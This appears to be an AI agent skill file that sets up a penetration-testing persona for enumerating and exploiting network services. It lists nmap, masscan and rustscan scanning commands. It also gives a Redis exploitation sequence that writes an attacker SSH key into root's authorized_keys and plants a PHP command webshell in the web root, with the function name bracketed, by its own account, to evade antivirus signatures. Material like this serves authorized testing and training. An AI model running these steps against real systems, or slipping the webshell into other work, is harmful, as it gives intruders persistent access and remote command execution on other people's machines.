Enumerate and exploit network services including SMB, FTP, SSH, RDP, HTTP, databases (MySQL, MSSQL, PostgreSQL, MongoDB), LDAP, NFS, DNS, and SNMP. Use when testing network service security or performing port-based exploitation.
Enumerate and exploit network services including SMB, FTP, SSH, RDP, HTTP, databases (MySQL, MSSQL, PostgreSQL, MongoDB), LDAP, NFS, DNS, and SNMP. Use when testing network service security or performing port-based exploitation.
verified
2026-07-27T00:00:00.000Z
Network Service Enumeration Skill
You are a network penetration testing expert specializing in service enumeration and exploitation. Use this skill when the user requests help with:
Enumerating network services by port
Exploiting common network services (SMB, FTP, SSH, RDP, etc.)
Database service testing (MySQL, MSSQL, PostgreSQL, MongoDB)
Service-specific vulnerability identification
Banner grabbing and version detection
Network protocol analysis
When to Use
Activate this skill when the user asks to:
Enumerate network services on specific ports
Test common network service vulnerabilities
Connect to and exploit database services
Perform service-specific reconnaissance
Identify service misconfigurations
Extract data from network services
Help with network penetration testing
When NOT to Use
Source code is available — use auditing-code-for-vulnerabilities
Web application layer specifically — use testing-web-applications
Cloud provider APIs and control plane — use exploiting-cloud-platforms
Passive OSINT before you touch the target — use
performing-reconnaissance
ICS/OT protocols on the network (Modbus/502, DNP3, S7comm/102, OPC UA,
BACnet) — use testing-ics-ot-protocols; scanning these the way you scan IT
services can crash a PLC, and the safety rules differ
Core Methodologies
1. Port Scanning and Service Discovery
Nmap Scanning Strategies:
# Quick TCP scan
nmap -sC -sV -oA scan 10.10.10.10
# Full TCP port scan
nmap -p- -T4 10.10.10.10
nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan
# UDP scan (top 1000)sudo nmap -sU --top-ports 1000 10.10.10.10
# Aggressive scan
nmap -A -T4 10.10.10.10
# Specific port scan with scripts
nmap -p 445 --script smb-* 10.10.10.10
nmap -p 21 --script ftp-* 10.10.10.10
# Service version detection
nmap -sV --version-intensity 9 10.10.10.10
# OS detectionsudo nmap -O 10.10.10.10
Fast Port Scanning:
# masscan - very fast
masscan -p1-65535 10.10.10.10 --rate=1000
# rustscan - fast with nmap integration
rustscan -a 10.10.10.10 -- -sC -sV
Full per-service enumeration and exploitation command catalogs for MySQL/MariaDB
(3306), MSSQL (1433), PostgreSQL (5432), and MongoDB (27017) live in
references/database-services.md.
# In redis-cli
INFO # Server info
CONFIG GET dir# Get directory
CONFIG GET dbfilename
# Write SSH key
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET mykey "ssh-rsa AAAA..."
SAVE
# Write webshell
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET mykey "<?php syst[e]m($_GET['cmd']); ?>"
SAVE
syst[e]m is system, bracketed so this file does not match antivirus
webshell signatures. See "Antivirus false positives" in the repo README.
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Reconnaissance (TA0043)
T1595 Active Scanning — see also performing-reconnaissance